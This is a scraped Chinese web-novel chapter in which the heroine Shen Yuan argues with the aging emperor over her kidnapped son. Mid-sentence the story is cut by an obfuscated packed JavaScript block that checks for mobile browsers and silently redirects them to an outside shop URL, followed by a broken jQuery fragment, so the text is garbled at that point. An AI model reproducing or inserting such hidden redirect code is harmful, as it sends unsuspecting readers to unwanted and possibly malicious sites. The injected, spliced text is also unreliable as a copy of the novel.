好久不见了吗?
好像确实如他所说的。
上次在老娘娘的葬礼上,周围进进出出那么多人,自己却始终没有和他碰面。
沈缘抬着头,看向已经走下来的皇帝。
带着冕冠的人,头发梳的一丝不苟,可是冕冠之下漏出来的头发,还能隐隐看见白丝。
六年过去了,皇帝也老了。
“没规矩,这么长时间没有见面,怎么还是如此没有规矩,连礼都不知道要行了?”
皇帝已经站在了沈缘面前。
站在原地的女子,喉咙中有些翻滚。
她想说些什么,却不知道该说什么,毕竟,是因为眼前人才让当年女军落得现在的下场,苏元和西全侯的婚事,是他赐的婚。
现在苏元**,他难道不该有责任?
可他是皇帝,是天下共主,没人敢谴责他,没人敢质问他。
“沈缘!”
皇帝意识到了女子的愣神。
不由得有些恼怒。
这个野性子的小女子,还如从前那样没规矩,没礼貌,早知今日会给自己带来这么大的头疼,当初就应该直接……
“陛下,您要臣行礼吗?”
沈缘那么直勾勾的看着他。
她的那双眼睛还如从前那样明亮,仿佛岁月,并没有在她的心性上留下什么痕迹。
“罢了罢了,爱行不行!”
皇帝猛的一挥袖子。
他下意识的要回去,回到他高高的龙椅上,可想到沈缘……又挺住了脚。
“今天这件事情,你是不是应该给朕一个说法?你有什么不满的事情直接过来告诉朕不行吗,之前哪一次你受了委屈,朕没有帮你啊,明祯丢了之后,朕同样也是安排了人去找,可就是找不到,朕有什么办法!”
“京城周围的花拐子老窝,朕剿灭了四五个,可依然没有得到任何有用的消息。”
皇帝脸色难看的厉害。
他知道,让面前这个女人彻底疯狂的一个原因就是那孩子的丢失。
他身为皇帝,却连个被拐走的孩子都找不回来,实在是太丢脸了。
可是,沈缘就因为这事就闹的满京城鸡犬不宁,天天跟谢之衍上演夫妻大战,今个还跟李蔼闹了这么一出!
她想干什么?
她到底想要干什么!
“我跟你说这些事,不是想要在你面前邀功,朕就是不明白,你这脑子里成天到底在想什么,非要把事情闹大,闹得人尽皆知,你才高兴了不成?能不能多少给我留点脸面!”
皇帝越想越气,连称谓都变了。
“今日幸好老大回来及时,你有没有想过他如果没有那么及时的削了李蔼的手,你落入他手里,你能得什么好?”
沈缘终于有了反应,她抬着眼睛,就那么看他:“找你,有用吗?”
什么?
这是什么大逆不道的话!
“你有本事再给我说一遍!”
皇帝气得胸口剧烈起伏。
“我说,找你,有用吗?”
沈缘也不惯着他,再次不知死活的重复。
“你放肆!”
皇帝气急败坏。
“你忘恩负义!”
沈缘在他抬手,做出要**动作的时候,猛地往后一退。
“沈缘,你不怕朕真的杀了你吗?”
皇帝继续气急败坏的怒骂。
“呵呵,你忘恩负义。”
沈缘脸上带着三分讥笑,三分凉薄,四分漫不经心继续嘲讽。
我特么!
皇帝到处找能**的东西。
“我在跟你好好说话!”
“沈缘,你难道听不懂人话吗?”
沈缘边躲皇帝的追逐,边继续开口:“你忘恩负义还有理了?”
“我救过你,最少三次!”
“你大儿子,你二儿子,你皇后媳妇还有你两个老娘,都被我救过,你现在却要杀了我,你不是忘恩负义是什么?”
本该严肃的殿内,莫名其妙就上演了她逃他追她插翅难飞的戏码。
殿外人等候的人,听不见殿内的动静。
还以为沈缘在遭受什么严苛审问。
终于,以老皇帝身体素质过于差,先沈缘一步表示休战,站在原地气喘吁吁。
沈缘站在不远处,看着他大喘气的样子,脸上没有一点动容的意思。
“陛下,你要是想处理我,就赶快处理了嘛,至于这么亲自上阵要抓我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692307|207932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么?”
她躲在一根柱子后面,小心探头。
本就累的不行的皇帝,此刻听见她的话以后,顿时感觉气不打一处来。
要是真的能够处理了她,现在自己何至于这么头疼?
“好,今日的事情朕不跟你一般计较,毕竟所有事情都事出有因,老大老二两个人都为你求情,老大甚至还是推荐你做全万善的监斩官!”
“沈缘,他们兄弟对你从来都是抱有莫大的感恩之心,我可以被你说是忘恩负义,可是他们,从来没有哪一日忘记了你的救命大恩。”
“但是,你有没有想过,你这样继续闹下去能够得到什么?这样继续闹孩子就能回来吗,还是说,你想再经历一次今日在乱葬岗上的时候,那样的刺杀!”
“你怎么能够确保自己,能够永远身边有人,能够一次次的逃过别人的暗算。”
沈缘眯起来了眼睛。
“乱葬岗上被刺杀这种小事,陛下竟然也已经知道了吗?”
她语气里,带着试探。
皇帝叹了一口气。
知道他是怀疑上了自己。
“说你蠢吧,你能够次次躲避暗算。”
“说你聪明吧,在这种时候,在我面前,能够这么明目张胆的怀疑我?”
沈缘闭嘴,她选择不说话。
面前这人能够成为最后的天下共主,多少还是有些东西的。
“你看,我连这种事情都能够知晓。”
“可是凭借我这个皇帝的能力,去探查有关于明祯的下落,却找不到一丁点的痕迹,他进入那个小巷以后,仿佛就在原地失踪了。”
“这代表了什么?”
“只能说是有人在刻意的隐藏。”
“或许,这件本身就不是冲着你们母子来的,而是冲着朕的江山社稷。”
皇帝阖眼皱眉。
“那陛下想的是什么?”
沈缘问。
可是愣了几个呼吸,没等面前的皇帝回应,她又道:“你如果是想让我放弃寻找我儿,这件事情绝对不可能。”
寻找谢明祯,几乎已经成了她活下去的唯一支柱,活要见人,死要见尸,怎么可能有人平白无故就从这个世界上彻底消失!
她不信!她死也不信!